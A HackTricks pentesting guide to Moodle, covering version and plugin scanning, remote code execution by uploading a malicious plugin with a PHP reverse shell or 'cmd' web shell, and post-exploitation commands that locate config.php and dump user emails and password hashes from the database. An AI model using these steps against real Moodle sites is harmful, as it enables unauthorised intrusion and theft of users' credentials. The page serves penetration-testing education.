hacktricks/network-services-pentesting/pentesting-web/moodle.md

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# Moodle
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<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
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If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
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## Automatic Scans
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### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
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### moodlescan
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
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### CMSMap
```bash
pip3 install cmsmap
cmsmap http://moodle.example.com/<moodle_path>
```
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### CVEs
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I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
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## **RCE**
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You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab\*\*:\*\*
![](<../../.gitbook/assets/image (447).png>)
If you are manager you may still need to **activate this option**. You can see how ins the moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
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Then, you can **install the following plugin** that contains the classic pentest-monkey php r**ev shell** (_before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again_)
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
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Or you could use the plugin from [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) to get a regular PHP shell with the "cmd" parameter.
To access launch the malicious plugin you need to access to:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
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## POST
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### Find database credentials
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
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### Dump Credentials from database
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```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
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<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
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If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
2022-10-22 14:44:59 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>